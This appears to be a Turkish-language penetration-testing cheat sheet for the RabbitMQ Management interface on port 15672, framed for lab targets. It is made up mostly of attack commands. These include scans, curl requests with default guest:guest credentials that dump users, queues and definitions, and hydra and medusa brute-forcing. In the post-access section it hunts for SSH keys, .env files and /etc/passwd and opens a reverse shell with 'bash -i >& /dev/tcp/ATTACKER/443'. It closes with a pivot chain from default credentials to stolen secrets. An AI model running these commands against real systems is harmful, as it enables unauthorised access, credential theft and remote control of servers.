15672 - Pentesting RabbitMQ Management
RabbitMQ mgmt
Yönetim UI/API (15672) kuyruk, kullanıcı ve binding sızdırır. guest/guest hâlâ sık açık. Hedef lab IP’si üzerinde komutları 15672 portuna göre uyarla; her başarıyı ayrı kanıtla.
Metodoloji
Section titled “Metodoloji”-
15672 HTTP doğrula.
-
guest/guest ve API token dene.
-
Queue/exchange dump.
-
Plugin/definition abuse ile komut.
nmap -Pn -sV -p15672,5672 TARGETcurl -s http://TARGET:15672/api/overview -u guest:guestcurl -s http://TARGET:15672/curl -s http://TARGET:15672/api/users -u guest:guesthydra -L users.txt -P pass.txt http-get://TARGET:15672/api/overviewguest/guest, admin/admin, rabbit/rabbitLoot & abuse
Section titled “Loot & abuse”curl -s http://TARGET:15672/api/queues -u guest:guest | jq .curl -s http://TARGET:15672/api/definitions -u guest:guest -o defs.jsonmessages → credentials; shovels/federation → SSRF/pivotDerin enum
Section titled “Derin enum”RabbitMQ Management için ek keşif ve fingerprint.
nmap -Pn -sV -sC -p15672 TARGETnmap -Pn -p15672 --script safe,discovery TARGETtimeout 5 bash -c 'echo | openssl s_client -connect TARGET:15672' 2>/dev/null | headpython3 -c "import socket;s=socket.create_connection(('TARGET',15672));s.settimeout(3);print(s.recv(4096))"Banner / TLS / ALPN notları → RabbitMQ ManagementKimlik & brute (ek)
Section titled “Kimlik & brute (ek)”hydra -L users.txt -P rockyou.txt -s 15672 PROTOCOL://TARGET -t 4medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 15672nmap -p15672 --script '*-brute' TARGETadmin/admin, root/root, guest/(boş), test/testExploit arama
Section titled “Exploit arama”searchsploit RabbitMQmsfconsole -q -x 'search RabbitMQ; exit'nuclei -u https://TARGET:15672 -t cves/ -silent -severity || truenuclei -u http://TARGET:15672 -tags tech -silent || trueManuel protokol
Section titled “Manuel protokol”nc -nv TARGET 15672printf '' | timeout 3 nc -nv TARGET 15672curl -vk --http1.0 http://TARGET:15672/Wireshark/tcpdump ile konuşmayı kaydet; replay denePost-erişim & loot
Section titled “Post-erişim & loot”config, key, session, env, backupfind / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | headss -lntp; ip a; cat /etc/passwd | headbash -i >& /dev/tcp/ATTACKER/443 0>&1mkdir -p loot && tee loot/notes.txtOperasyon checklist
Section titled “Operasyon checklist”[ ] Fingerprint / sürüm[ ] Auth ve anonim erişim[ ] PoC etki gösterildi[ ] Credential/shell paketlendi[ ] Pivot notuZincir
Section titled “Zincir”guest/guest → /api/definitions → secrets → AMQP pivot